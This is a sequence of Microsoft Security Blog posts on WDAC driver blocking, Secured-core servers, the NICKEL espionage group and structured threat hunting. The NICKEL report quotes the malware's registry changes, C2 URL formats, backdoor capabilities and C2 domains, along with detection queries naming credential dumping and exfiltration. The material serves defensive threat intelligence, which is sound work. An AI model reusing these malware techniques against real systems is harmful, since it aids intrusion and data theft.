Creating custom WDAC block policies

Windows users can create and apply custom driver block policies to gain security parity with the Microsoft-supplied driver block policy. Microsoft publishes the block policy and recommends all customers apply kernel block rules to help prevent drivers with vulnerabilities from running on your devices or being exploited. By default, the policy is in audit mode. In this mode, drivers are not blocked from executing but will provide audit logging events. We recommend placing new policies in audit mode before enforcing them to determine the impact and scope of the blocked binaries using the audit logging events. For more information about interpreting log events, please refer to the Microsoft documentation Use audit events to create WDAC policy rules.

WDAC driver block policies are easy to create and deploy. Microsoft supplies both built-in PowerShell Cmdlets and the WDAC Wizard desktop application to create, edit, and merge WDAC policies. Below is an example of the steps to deploy the driver block policy in enforcement mode.

Step 1. Initialize the variables to be used in the script.

$PolicyXML="$env:windir\schemas\CodeIntegrity\ExamplePolicies\RecommendedDriverBlock_Enforced.xml"

 

"$DestinationBinary=$env:windir+\System32\CodeIntegrity\SiPolicy.p7b"

Step 2. Run the following to convert the XML file to binary in an elevated PowerShell host.

ConvertFrom-CIPolicy $PolicyXML $DestinationBinary

Step 3. Deploy and activate the driver control policy using Windows Management Instrumentation (WMI).

Invoke-CimMethod -Namespace root\Microsoft\Windows\CI -ClassName PS_UpdateAndCompareCIPolicy -MethodName Update -Arguments @{FilePath = $DestinationBinary}

Learn more

For more information about deploying WDAC policies, see the Microsoft documentation Deploy WDAC policies using script.

In addition to kernel-mode block and allow rules, rules can also be created for user-mode software. See our Microsoft recommended block rules for more information. For general information about WDAC technology and policies, please see the Windows Defender Application Control official documentation.

If you are a driver developer, follow the driver security checklist and the development best practices to reduce the risk of security vulnerabilities. You can also open a driver analysis case through the new Vulnerable and Malicious Driver Reporting Center.

If you have questions about the program or suspect a driver is vulnerable or malicious, please contact vulnerabledrivers@microsoft.com.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

 


1CVE-2008-3431, CVE Details. 11 October 2018.

2CVE-2013-3956, CVE Details. 22 August 2013.

3CVE-2009-0824, CVE Details. 10 October 2018.

4CVE-2010-1592, CVE Details. 29 April 2010.

 

The post Improve kernel security with the new Microsoft Vulnerable and Malicious Driver Reporting Center appeared first on Microsoft Security Blog.

New Secured-core servers are now available from the Microsoft ecosystem to help secure your infrastructure

December 7th, 2021 No comments

In the current pandemic-driven remote work environments, security has become increasingly important. Earlier this year, Colonial Pipeline, one of the leading suppliers of fuel on the East Coast of the United States, was hit by a ransomware attack.1 This caused a massive disruption of the fuel supply chain and a surge in gasoline prices. In another unrelated incident, Chinese start-up Socialarks suffered a massive data breach,2 which exposed personally identifiable information (PII) of over 214 million users of some of the most popular worldwide social networks. These data breaches are extremely expensive, with the average cost of a data breach estimated at USD4.2 million dollars for every breach in 2021.3 There has also been a surge in the number of ransomware attacks, with a ransomware attack expected every 11 seconds and the total costs of damages due to these attacks is estimated to be about USD20 billion dollars in 2021.4

As we discussed at Microsoft Inspire earlier this year, threats against infrastructure can come from a variety of sources—attackers exploiting web shells, brute force login attacks, software vulnerabilities, and credential theft—to achieve goals like deploying ransomware. With cyberattacks continuing to rise, the need for secure computing has never been more important. Customers care about the protection of their data and workloads, and platform security can be an important tool in a comprehensive defense-in-depth strategy. Applying our learnings from the Secured-core PC initiative, Microsoft is collaborating with partners to expand Secured-core to Windows Server, Microsoft Azure Stack HCI, and Azure-certified IoT devices.

REvil ransomware use case

Let’s dive into the typical kill chain of a human-operated ransomware campaign undertaken by REvil (or Sodinokibi), which very recently impacted over thousands of businesses worldwide including the recent attack on Kaseya.5 The attackers used a variety of different techniques, such as compromised Remote Desktop Protocol (RDP) credentials and vulnerabilities in the operating system and applications to gain an initial foothold in the organizations. Documents from the United States Department of Justice’s investigation6 delve into how REvil carried out the ransomware attack on Kaseya by using the following attack pattern:

Stages of attack with tools and techniques used in the REvil ransomware attack on Kaseya

Figure 1. Kill chain of REvil ransomware.

The ransomware operators can gain administrative privileges on the compromised devices, steal passwords from the memory using credential dumping tools, such as Mimikatz, and use Cobalt Strike and Metasploit to hop laterally and establish persistence on the victim’s networks. After obtaining the necessary privileges and access across the infrastructure, the ransomware activates, initiating the encryption of all the files and leaving an electronic note to the user indicating the amount that they need to pay to decrypt their files.

Ransomware attacks like these result in an enormous loss of time and money for enterprises. Continuing to raise the security bar for critical infrastructure against attackers makes it easier for organizations to meet that higher bar, which is an important priority for both customers and Microsoft. Successfully protecting systems requires a holistic approach that builds security from the chip to the cloud across hardware, firmware, and the operating system.

Secured-core servers leverage your infrastructure to help protect you from security threats

Secured-core servers take a defense-in-depth approach to basic system security. Secured-core servers are built around three distinct security pillars:

  1. To protect the server infrastructure with a hardware-based root of trust.
  2. To defend sensitive workloads against firmware-level attacks.
  3. To prevent access and the execution of unverified code on the systems.

Partnering with leading original equipment manufacturers (OEMs) and silicon vendors, Secured-core servers use industry-standard hardware-based root of trust coupled with security capabilities built into today’s modern central processing units (CPUs). Secured-core servers use the Trusted Platform Module 2.0 and Secure boot to ensure that only trusted components load in the boot path.

“To help our customers remain secure and accelerate their business outcomes, Hewlett Packard Enterprise (HPE) is excited to release the new Gen 10 Plus (v2) products for Azure Stack HCI 21H2 and Windows Server 2022 which can be delivered with the HPE GreenLake edge-to-cloud platform,” said Keith White, Senior Vice President and General Manager, GreenLake Cloud Services Commercial Business. “These offer unprecedented host protection by combining HPE’s security technologies with Secured-core server functionalities for a secure, hybrid implementation.”

Additional details will be made available soon as part of the Azure Stack HCI: Secured-core Server Solution Brief. Configuration details can be found in the section “Configuring and validating Secured-core” of the Implementing Microsoft Windows Server 2022 Using HPE Proliant Servers, Storage, and Networking Options white paper.

Secured-core servers use hardware-rooted security in the modern CPU with Dynamic Root of Trust Measurement (DRTM) to launch the system into a trusted state, mitigating attacks from advanced malware that attempts to tamper with the system.

Enabled with Hypervisor-Protected Code Integrity (HVCI), a Secured-core server only starts executables signed by known and approved authorities. This ensures that code running within the trusted computing base runs with integrity and is not subject to exploits or attacks. The hypervisor sets and enforces permissions to prevent malware from attempting to modify the memory and executing.

In the REvil ransomware example that was described earlier, Secured-core servers would have made it much harder for the attackers to effectively deploy and activate their payload. HVCI comes enabled with a code integrity security policy that blocks drivers that tamper with the kernel, such as Mimikatz. Additionally, since Virtualization-based security (VBS) is enabled out of the box, IT administrators can easily enable features, such as Credential Guard, which safeguard the credentials in an isolated environment that is invisible to attackers. By preventing credential theft (stage two of the kill chain, represented in Figure 1), Secured-core servers can help make it extremely hard for attackers to hop laterally in the network, thereby, stopping the attack.

Look for Secured-core server solutions in the HCI and Windows Server catalogs

You can now find a breadth of servers certified for Secured-core server AQ in the Azure Stack HCI catalog. Enhancements made to the catalog allow you to easily identify Azure Stack HCI solutions that support Secured-core server functionality with the new Secured-core server badge.

Azure stack HCI catalog screenshot showing four Secured-core server solutions from H P E.

Figure 2. Azure Stack HCI Catalog Secured-core servers.

Secured-core servers support all the protections offered in the trusted enterprise virtualization use case, plus additional features to protect hosts from firmware-level attacks. In addition to the Azure Stack HCI catalog, the Windows Server Catalog lists dozens of hardware platforms from our various ecosystem partners that meet the Secured-core server AQ. Learn more about how the Secured-core servers provide exceptional host security in our blog post.

Manage your Secured-core server easily with the Microsoft Windows Admin Center

Windows Admin Center is your user interface (UI) for managing the status and configuration of your Secured-core server. Windows Admin Center is a locally deployed, browser-based application for managing Windows servers, clusters, hyper-converged infrastructure, as well as Windows clients, and is ready to use in production.

New functionality in Windows Admin Center makes it extremely easy for customers to configure the Secured-core features for Windows Server and Azure Stack HCI systems. The new Windows Admin Center security functionality, now included with the product, enables advanced security with a click of the button from a web browser anywhere in the world. For Windows Server and validated Azure Stack HCI solutions, customers can look for Secured-core certified systems to simplify acquiring secure hardware platforms.

Windows Admin Center screenshot showing six Secured-core features status each on a two-node demo cluster.

Figure 3. Windows Admin Center Secured-core server cluster management.

The Windows Admin Center UI allows you to easily configure the six features that encompass Secured-core server: Hypervisor Enforced Code Integrity, Boot Direct Memory Access (DMA) Protection, System Guard, Secure Boot, Virtualization-based security, and Trusted Platform Module 2.0. Download the latest version of Windows Admin Center today.

Begin your Secured-core journey

Secured-core servers, which are now available in the Azure Stack HCI and Windows Server catalogs, come fully equipped with industry-leading security mitigations built into the hardware, firmware, and the operating system to help thwart some of the most advanced attack vectors. Coupled with Windows Admin Center, managing and monitoring the security state of your mission-critical infrastructure has never been easier.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

 


1US fuel pipeline hackers ‘didn’t mean to create problems,’ Mary-Ann Russon, BBC News. 10 May 2021.

2200 million Facebook, Instagram, and LinkedIn users’ scraped data exposed, Security Magazine. 12 January 2021.

3How much does a data breach cost? Cost of a Data Breach Report 2021, IBM.

4Global Ransomware Damage Costs Predicted To Reach $20 Billion (USD) By 2021, Steve Morgan, Cybercrime Magazine. 21 October 2019.

5Ukrainian Arrested and Charged with Ransomware Attack on Kaseya, The United States Department of Justice. 8 November 2021.

6United States of America V. Yevgeniy Igorevich Polyanin, United States District Court for the Norther District of Texas Dallas Division. 24 August 2021.

The post New Secured-core servers are now available from the Microsoft ecosystem to help secure your infrastructure appeared first on Microsoft Security Blog.

NICKEL targeting government organizations across Latin America and Europe

December 6th, 2021 No comments

The Microsoft Threat Intelligence Center (MSTIC) has observed NICKEL, a China-based threat actor, targeting governments, diplomatic entities, and non-governmental organizations (NGOs) across Central and South America, the Caribbean, Europe, and North America. MSTIC has been tracking NICKEL since 2016 and observed some common activity with other actors known in the security community as APT15, APT25, and KeChang. Today, the Microsoft Digital Crimes Unit (DCU) announced the successful seizure of a set of NICKEL-operated websites and disruption of their ongoing attacks targeting organizations in 29 countries, following a court order from the U.S. District Court for the Eastern District of Virginia granting Microsoft the authority to seize these sites.

MSTIC has tracked the current NICKEL operations, including attacks against government organizations, diplomatic entities, and NGOs, since September 2019. During this time, NICKEL activity has been observed across several countries, with a large amount of activity targeting Central and South American governments. Notably, NICKEL has achieved long-term access to several targets, allowing NICKEL to conduct activities such as regularly scheduled exfiltration of data. As China’s influence around the world continues to grow and the nation establishes bilateral relations with more countries and extends partnerships in support of China’s Belt and Road Initiative, we assess that China-based threat actors will continue to target customers in government, diplomatic, and NGO sectors to gain new insights, likely in pursuit of economic espionage or traditional intelligence collection objectives. Portions of the NICKEL activity we are highlighting have also been blogged about by our colleagues at ESET.

Map showing countries targeted by NICKEL attacks

Figure 1: NICKEL targeted countries: Argentina, Barbados, Bosnia and Herzegovina, Brazil, Bulgaria, Chile, Colombia, Croatia, Czech Republic, Dominican Republic, Ecuador, El Salvador, France, Guatemala, Honduras, Hungary, Italy, Jamaica, Mali, Mexico, Montenegro, Panama, Peru, Portugal, Switzerland, Trinidad and Tobago, United Kingdom, United States of America, Venezuela

As with any observed nation-state actor activity, Microsoft continues to notify customers that have been targeted or compromised, providing them with the information they need to help secure their organizations. To reduce the potential impact of this NICKEL activity, Microsoft encourages our customers to immediately review the activity and guidance below, then implement risk mitigations, harden environments, and investigate suspicious behaviors that match the tactics described in this blog. MSTIC will continue to observe, monitor, and notify affected customers and partners, when possible, through our nation-state notification process.

Observed activity

MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. NICKEL actors created and deployed custom malware that allowed them to maintain persistence on victim networks over extended periods of time. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks.

NICKEL successfully compromises networks using attacks on internet-facing web applications running on unpatched Microsoft Exchange and SharePoint. They also attack remote access infrastructure, such as unpatched VPN appliances, as referenced in the FireEye April 2021 blog detailing a 0-day vulnerability in Pulse Secure VPN that has since been patched.

After gaining an initial foothold on a compromised system, the NICKEL actors routinely performed reconnaissance on the network, working to gain access to additional accounts or higher-value systems. NICKEL typically deployed a keylogger to capture credentials from users on compromised systems. We’ve observed NICKEL using Mimikatz, WDigest (an older authentication method that allows the attacker access to credentials in clear text), NTDSDump, and other password dumping tools to gather credentials on a targeted system and from target browsers.


Deploying malware for command and control
MSTIC tracks multiple malware families used by NICKEL for command and control as Neoichor, Leeson, NumbIdea, NullItch, and Rokum.

The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers. Due to their reliance on IE, these malware families intentionally configure the browser settings by modifying the following registry entries:

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
Start Page = “about:blank”
DisableFirstRunCustomize = 1
RunOnceComplete = 1
RunOnceHasShown = 1
Check_Associations = 1

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery]
AutoRecover = 0

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Privacy]
ClearBrowsingHistoryOnExit = 1

[HKEY_CURRENT_USER\Software\Microsoft\Internet Connection Wizard]
Completed = 1

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
IEHarden = 0

When connecting to the C2 servers, the URL requests follow these formats:

http[:]//<C2>?id=<5-digit-rand><system-specific-string>
http[:]//<C2>?setssion==<rand><GetTickCount>
http[:]//<C2>?newfrs%dsetssion=<rand><GetTickCount>
http[:]//<C2>/index.htm?content=<base64-system-specifc-string>&id=<num>

A typical response from the C2 server is a legitimate-looking webpage containing the string “!DOCTYPE html”, which the malware checks. The malware then locates a Base64-encoded blob, which it decodes and proceeds to load as a shellcode.

For the Neoichor family, the malware checks for internet connectivity by contacting bing.com with the request format bing.com?id=<GetTickCount> and drops files as ~atemp and ~btemp containing error codes and debug resources.

The NICKEL implants are backdoors capable of collecting system information, such as:

  • IP address
  • OS version
  • System language ID
  • Computer name
  • Signed-in username

They implement basic backdoor functionalities, including:

  • Launching a process
  • Uploading a file
  • Downloading a file
  • Executing a shellcode in memory

MSTIC has observed NICKEL drop their malware into existing installed software paths. They did this to make their malware appear to be files used for an installed application. The following are example paths:

  • C:\Program Files\Realtek\Audio\HDA\AERTSr.exe
  • C:\Program Files (x86)\Foxit Software\Foxit Reader\FoxitRdr64.exe
  • C:\Program Files (x86)\Adobe\Flash Player\AddIns\airappinstaller\airappinstall.exe
  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd64.exe

Using compromised credentials for routine email collection

NICKEL used compromised credentials to sign into victims’ Microsoft 365 accounts through normal sign-ins with a browser and the legacy Exchange Web Services (EWS) protocol to review and collect victim emails. MSTIC has observed successful NICKEL sign-ins to compromised accounts through commercial VPN providers as well as from actor-controlled infrastructure. The activity graphed below shows NICKEL sign-in activity happening most frequently on Monday through Friday from 12:00 AM UTC (8:00 AM China Standard time) through 09:00 AM UTC (5:00 PM China Standard Time). There are also possible indications of a shift-based scheduling model based on the observed limited set of activity during a typical weekend.

Heatmap showing activity by day and hour

Figure 2: Heatmap of observed NICKEL login activity by day of week and hour (UTC time)

Evidence of routine host data collection

In several observed cases, NICKEL was seen performing regular data collection for exfiltration purposes. Their activity included looking in directories of interest for new files added since the last time they collected data. In the example below, NICKEL was collecting data that had been created or modified multiple times over a one-month period. For instance, on October 22, NICKEL looked for files that had been created since October 19 in multiple folders. Previously, on October 20 they had done the same thing looking for files that were modified or created since October 13.

Here are recent examples of NICKEL’s routine data collection:

Screenshot of command lines by NICKEL

After collecting the data in a central directory, the attackers then used either a renamed rar.exe or 7z.exe to archive the files. NICKEL also frequently used keyboard walks as a password for their archived data collections. The following are examples of RAR archiving for exfiltration:

Screenshot of code for RAR archiving

Here is an example of 7zip archiving for exfiltration:

screenshot of command for 7zip archiving
Microsoft will continue to monitor NICKEL activity and implement product protections for our customers. The IOCs, current detections, and advanced protections in place across our security products are detailed below.

Recommended defenses

The following guidance can help mitigate the techniques and threat activity described in this blog:

Indicators of compromise (IOCs)

Type Indicator
SHA-256 02daf4544bcefb2de865d0b45fc406bee3630704be26a9d6da25c9abe906e7d2
SHA-256 0a45ec3da31838aa7f56e4cbe70d5b3b3809029f9159ff0235837e5b7a4cb34c
SHA-256 0d7965489810446ca7acc7a2160795b22e452a164261313c634a6529a0090a0c
SHA-256 10bb4e056fd19f2debe61d8fc5665434f56064a93ca0ec0bef946a4c3e098b95
SHA-256 12d914f24fe5501e09f5edf503820cc5fe8b763827a1c6d44cdb705e48651b21
SHA-256 1899f761123fedfeba0fee6a11f830a29cd3653bcdcf70380b72a05b921b4b49
SHA-256 22e68e366dd3323e5bb68161b0938da8e1331e4f1c1819c8e84a97e704d93844
SHA-256 259783405ec2cb37fdd8fd16304328edbb6a0703bc3d551eba252d9b450554ef
SHA-256 26debed09b1bbf24545e3b4501b799b66a0146d4020f882776465b5071e91822
SHA-256 35c5f22bb11f7dd7a2bb03808e0337cb7f9c0d96047b94c8afdab63efc0b9bb2
SHA-256 3ae2d9ffa4e53519e62cc0a75696f9023f9cce09b0a917f25699b48d0f7c4838
SHA-256 3bac2e459c69fcef8c1c93c18e5f4f3e3102d8d0f54a63e0650072aeb2a5fa65
SHA-256 3c0bf69f6faf85523d9e60d13218e77122b2adb0136ffebbad0f39f3e3eed4e6
SHA-256 3dc0001a11d54925d2591aec4ea296e64f1d4fdf17ff3343ddeea82e9bd5e4f1
SHA-256 3fd73af89e94af180b1fbf442bbfb7d7a6c4cf9043abd22ac0aa2f8149bafc90
SHA-256 6854df6aa0af46f7c77667c450796d5658b3058219158456e869ebd39a47d54b
SHA-256 6b79b807a66c786bd2e57d1c761fc7e69dd9f790ffab7ce74086c4115c9305ce
SHA-256 7944a86fbef6238d2a55c14c660c3a3d361c172f6b8fa490686cc8889b7a51a0
SHA-256 926904f7c0da13a6b8689c36dab9d20b3a2e6d32f212fca9e5f8cf2c6055333c
SHA-256 95e98c811ea9d212673d0e84046d6da94cbd9134284275195800278593594b5a
SHA-256 a142625512e5372a1728595be19dbee23eea50524b4827cb64ed5aaeaaa0270b
SHA-256 afe5e9145882e0b98a795468a4c0352f5b1ddb7b4a534783c9e8fc366914cf6a
SHA-256 b9027bad09a9f5c917cf0f811610438e46e42e5e984a8984b6d69206ceb74124
SHA-256 c132d59a3bf0099e0f9f5667daf7b65dba66780f4addd88f04eecae47d5d99fa
SHA-256 c9a5765561f52bbe34382ce06f4431f7ac65bafe786db5de89c29748cf371dda
SHA-256 ce0408f92635e42aadc99da3cc1cbc0044e63441129c597e7aa1d76bf2700c94
SHA-256 ce47bacc872516f91263f5e59441c54f14e9856cf213ca3128470217655fc5e6
SHA-256 d0fe4562970676e30a4be8cb4923dc9bfd1fca8178e8e7fea0f3f02e0c7435ce
SHA-256 d5b36648dc9828e69242b57aca91a0bb73296292bf987720c73fcd3d2becbae6
SHA-256 e72d142a2bc49572e2d99ed15827fc27c67fc0999e90d4bf1352b075f86a83ba
Domain name beesweiserdog[.]com
Domain name bluehostfit[.]com
Domain name business-toys[.]com
Domain name cleanskycloud[.]com
Domain name cumberbat[.]com
Domain name czreadsecurity[.]com
Domain name dgtresorgouv[.]com
Domain name dimediamikedask[.]com
Domain name diresitioscon[.]com
Domain name elcolectador[.]com
Domain name elperuanos[.]org
Domain name eprotectioneu[.]com
Domain name fheacor[.]com
Domain name followthewaterdata[.]com
Domain name francevrteepress[.]com
Domain name futtuhy[.]com
Domain name gardienweb[.]com
Domain name heimflugaustr[.]com
Domain name ivpsers[.]com
Domain name jkeducation[.]org
Domain name micrlmb[.]com
Domain name muthesck[.]com
Domain name netscalertech[.]com
Domain name newgoldbalmap[.]com
Domain name news-laestrella[.]com
Domain name noticialif[.]com
Domain name opentanzanfoundation[.]com
Domain name optonlinepress[.]com
Domain name palazzochigi[.]com
Domain name pandemicacre[.]com
Domain name papa-ser[.]com
Domain name pekematclouds[.]com
Domain name pipcake[.]com
Domain name popularservicenter[.]com
Domain name projectsyndic[.]com
Domain name qsadtv[.]com
Domain name sankreal[.]com
Domain name scielope[.]com
Domain name seoamdcopywriting[.]com
Domain name slidenshare[.]com
Domain name somoswake[.]com
Domain name squarespacenow[.]com
Domain name subapostilla[.]com
Domain name suzukicycles[.]net
Domain name tatanotakeeps[.]com
Domain name tijuanazxc[.]com
Domain name transactioninfo[.]net
Domain name eurolabspro[.]com
Domain name adelluminate[.]com
Domain name headhunterblue[.]com
Domain name primenuesty[.]com

Detections

Microsoft 365 Defender

Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

Endpoint detection and response (EDR)

Alerts with the following titles in the security center can indicate NICKEL threat activity on your network:

  • NICKEL activity group
  • Malware associated with NICKEL activity group
  • Communication with NICKEL infrastructure

The following alerts may also indicate threat activity associated with NICKEL but may also be triggered by unrelated threat activity:

  • Mimikatz credential theft tool
  • Suspected credential theft activity
  • Malicious credential theft tool execution detected
  • Sensitive credential memory read
  • Password hashes dumped from LSASS memory
  • Suspicious credential dump from NTDS.dit
  • Compression of sensitive data
  • Staging of sensitive data
  • Suspicious process transferring data to external network
  • Possible data exfiltration through multiple egress points

Microsoft 365 Defender correlates related alerts into consolidated incidents to help customers determine with confidence if observed alerts are related to this activity. Customers using the Microsoft 365 Defender portal can view, investigate, and respond to incidents that include any detections related to the activity described in this blog.

Advanced hunting queries

Microsoft Sentinel

The indicators of compromise (IoCs) included in this blog post can be used by Microsoft Sentinel customers for detection purposes using the queries detailed below.

Match known NICKEL domains and hashes

The following query matches domain name, hash IOCs and Microsoft 365 Defender signatures related to the NICKEL activity group with CommonSecurityLog, DnsEvents, VMConnection and SecurityEvents dataTypes.

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/NICKELIOCsNov2021.yaml

Identify NICKEL registry modifications patterns

The following query identifies instances where NICKEL malware intentionally configures the browser settings for its use by modifying registry entries.

https://github.com/azure/azure-sentinel/blob/master/Hunting%20Queries/MultipleDataSources/NickelRegIOCPatterns.yaml

Hunt for NICKEL Command Line Activity November 2021

The below query looks for process command line activity related to data collection and staging observed being used by NICKEL. It hunts for use of tools such as xcopy and renamed archiving tools used for data collection and staging on the hosts with signatures observed in NICKEL activity.

https://github.com/azure/azure-sentinel/blob/master/Hunting%20Queries/MultipleDataSources/NICKELCommandLineActivity-Nov2021.yaml

Microsoft 365 Defender

Surface WDigest authentication changes

Use this query to look for alerts related to enabling WDigest Authentication, which allows attackers to dump credentials in clear text. Run query

AlertInfo
| where Title == "WDigest configuration change"
| join AlertEvidence on AlertId

Surface discovery activity

Use this query to surface potential NICKEL discovery activity. Run query

DeviceProcessEvents
| where InitiatingProcessFileName =~ "rundll32.exe" and InitiatingProcessCommandLine has ",start"
| where ProcessCommandLine has_any("cmd",
"netstat", "tasklist", "dir", "del", "net use", "ipconfig", "systeminfo", "xcopy", "mkdir", ".bat")

 

The post NICKEL targeting government organizations across Latin America and Europe appeared first on Microsoft Security Blog.

Structured threat hunting: One way Microsoft Threat Experts prioritizes customer defense

December 2nd, 2021 No comments

Today’s threat landscape is incredibly fast-paced. New campaigns surface all the time, and the amount of damage that they can cause is not always immediately apparent. Security operations centers (SOCs) must be equipped with the tools and insight to identify and resolve potentially high-impact threats before attackers set up persistence mechanisms, exfiltrate data, or deploy payloads such as ransomware.

Every day at Microsoft, threat hunters work alongside advanced systems to analyze billions of signals, looking for threats that might affect customers. Due to the sheer volume of data, we’re meticulous about surfacing threats that customers need to be notified about as quickly and accurately as possible. This helps ensure that customers can respond to the most critical threats in their environments through our products and services, such as Microsoft Threat Experts, a managed threat hunting service that provides expert-level monitoring and analysis. With Microsoft Threat Experts, customers get Targeted Attack Notifications, which are designed to identify the most important risks and provide technical information, as well as hunting and mitigation guidance. Customers can also consult with our analysts through Experts on Demand.

Microsoft Threat Experts allows organizations to collaborate with Microsoft analysts to benefit from their expertise in tackling critical incidents. This collaborative relationship also gives Microsoft analysts the opportunity to gain invaluable insight into real-world threats, how attackers operate inside enterprise networks, and how security operations teams function. This creates an environment conducive to mutual learning and innovation, which helps improve our processes, protections, and services.

One way we support this close collaboration with customers is through a structured approach to threat hunting. Human analysts are augmented by AI in the search for potential threats to our customers. AI helps our human analysts tease out which events in our data require closer examination. Humans drive the initial hunt, then validate the AI’s findings, and provide deeper analysis and context for each potential threat. By combining what humans and AI are each individually good at, we’re able to process data at speed and scale. The process ultimately decides which potential threats to address first.

Our strategy is designed to evaluate impact and escalate potential threats for investigation, based on how damaging the potential threat would be if it was found to be valid. Our strategy is also designed for speed: due to the highly time-sensitive nature of the threat response, our security analysts need to be confident that the most dangerous potential threats are analyzed first.

This process starts with Microsoft analysts formulating hypotheses to explain suspicious behavior discovered within our data. If the hypotheses pass our initial quality checks, we perform an automated hunt for and collect observations that could ultimately confirm or deny our suspicions.

Once we’ve gathered more evidence, the observations are grouped into potential threats and run through a variety of computations to evaluate the possible impact. One of the key figures we use for evaluating potential threats is the amount of diversity we see across our observations. A more diverse set of observations indicates that a potential threat is more likely to have a broad impact.

Figure 1. Visual overview of the prioritization process.

The computations on the impact of the potential threat are then combined, to calculate a final priority score. The priority score is used to sort potential threats according to how likely they are to require urgent attention. Potential threats that are more likely to have a devastating impact are given higher priority scores, so that they can be addressed more quickly.

Seasoned threat experts investigate and analyze the potential threat once it is ready. If the threat is found valid, our analysts conduct a deep-dive investigation,  gathering the information our Microsoft Threat Experts customers need to keep themselves safe. They collect technical details and develop security recommendations. Affected customers are immediately notified with targeted attack notifications, containing detailed information on what the threat is, and what they can do to defend themselves. These steps are summarized in Figure 1.

Our process uses automated hunting and AI to speed up the decision-making, while humans define the observables, adjust and tune the parameters, perform triage, and craft the targeted attack notifications sent to affected customers. A deeper look at our process will show how analysts work closely alongside automation to help protect customers.

Hunting for potential threats

As the first step in our process, threat hunters formulate a hypothesis around data related to a potential threat, such as, “The attacker remotely executed code by exploiting a vulnerability in a system process.” After validating the soundness of the hypothesis by measuring the signal-to noise ratio and using known data sets to ensure that the accuracy is within acceptable limits, the hypothesis is modeled in our hunting systems, which automatically perform data collection, correlation, and enrichment.

These automated systems collect observations through our telemetry, from multiple devices and often from different stages of an attack. Each observation represents a single instance of a hypothesis – in our example, here is the system process, here is what the system process did, and here are the arguments that were passed to it. Examining the observations associated with the hypothesis helps analysts determine if that instance of the hypothesis is valid.

Observations are then grouped into potential threats that represent our best current understanding of a collection of observations. If these observations truly reflect malicious behavior, the picture they paint is that of an attack on a customer’s computing infrastructure. Looking at data associated with these observations can help us understand which potential threats may wreak the most havoc, and prioritize the investigation of more critical threats.

Developing priorities

If a potential threat is malicious, it is more likely to cause critical damage if it involves many devices inside an organization and is associated with many distinct attack stages. A confirmed threat that involves a single observation and is confined to an isolated machine is less likely to have the same level of impact.

Similarly, a potential threat is more likely to have more impact if it involves observations supporting many different hunting hypotheses. If the potential threat is malicious, a greater variety of hypotheses reflects a broad-ranging attack that hits many parts of the organization’s infrastructure in many different ways.

Therefore, a potential threat with more diverse hypotheses is more likely to have a big impact on our customers, and is prioritized for investigation by Microsoft Threat Experts.

Using diversity to prioritize potential threats

How can we measure the diversity of different aspects of a potential threat? Microsoft Threat Experts uses entropy, borrowed from information theory. Entropy measures how many bits (or yes/no questions) it would take, on average, to identify a random element of a set if we know the elements of the set.

Figure 2. A visual representation of entropy, demonstrating how sets with many distinct elements have higher entropy than sets with fewer distinct elements.

A set containing elements that are all alike has zero entropy. Meanwhile, a set with more distinct elements, or the distinct elements in more equal proportions, will have higher entropy.

We use entropy to help decide which potential threats need swift attention, by calculating it for several attributes that the observations in each potential threat might have. For example, we calculate the entropy for the hypotheses associated with observations for each potential threat. We also calculate the entropy for the MITRE techniques associated with the observations in the potential threat.

After the AI automatically calculates an entropy value for each of these categories, and values for other factors, such as the severity of the hypothesis for each of the observations involved, it combines these values together to create an overall priority score for the threat.

Calculating the final priority score

Since our final score takes into consideration many different kinds of information about the potential threat, we need a way to combine these values. To do this, we convert each the results of each calculation into a p-value.

A p-value represents the percentage of potential threats we’d expect to have a certain value or larger in that category. For example, if only 5% of the MITRE technique entropy values were larger than the value from our calculation, then the p-value for our potential threat’s hypothesis entropy would be 0.05.

We do this same p-value conversion using other numbers we’ve generated from the same potential threat, some based on entropy and others not. We then combine all of these p-values into a final priority score.

Validating the potential threat

The final prioritization score is used to sort potential threats, so that the most critical potential threats are analyzed the most quickly. When a potential threat is ready, a dedicated team of security experts look over the results and perform deep analysis to determine the threat’s validity.

The analysts closely investigate suspicious activity related to the potential threat, using information from possibly-affected devices and networks. They search for unexpected events on the device timeline, indicators of compromise, and other evidence that something malicious may have occurred.

If the threat is validated and the activity is found to be malicious, our experts set to work to determine the full scope and protect customers. Related activity surrounding the validated threat is tracked down, technical details about the systems affected are gathered, and the team  develops security recommendations to defend against the threat.

Microsoft Threat Experts: Helping defenders help themselves

Whenever we discover and validate a critical threat in the environment of a Microsoft Threat Experts customer, we immediately send out a targeted attack notification. These are special alerts that provide deep context about the threat, with details specific to each customer’s unique environment.

Targeted attack notifications aim to help SOCs formulate a response before a critical attack can wreak havoc on their network. They help highlight the most critical threats, and clearly identify the ones that need aggressive handling. They also contain key technical details, which can assist SOCs in swiftly handling an ongoing threat. Customers receive a timeline of observed events in their organization, as well as advanced hunting queries for surfacing threat activities. These details can aid in understanding the attack flow and discovering the scope of the threat.

A case study in prioritization

Our process can fill the gaps to realize the true scope of a potential threat. Recently, there was a potential threat involving pre-ransomware activity detected by our machine learning. Outside of the context provided by Microsoft Threat Experts, it appeared as if this was just another instance of a widespread Qakbot campaign. It did not initially appear that this threat was any more dangerous than similar instances of the same campaign.

However, the Microsoft Threat Experts prioritization process had pieced together the evidence to suggest that the threat could represent one of the most impactful attacks seen that month. The potential threat was associated with a diverse collection of hunting hypotheses, as measured by entropy, and thus held a high priority for active investigation by Microsoft Threat Experts. Since the process evaluated it to be very high priority, Microsoft Threat Experts quickly assessed the potential threat.

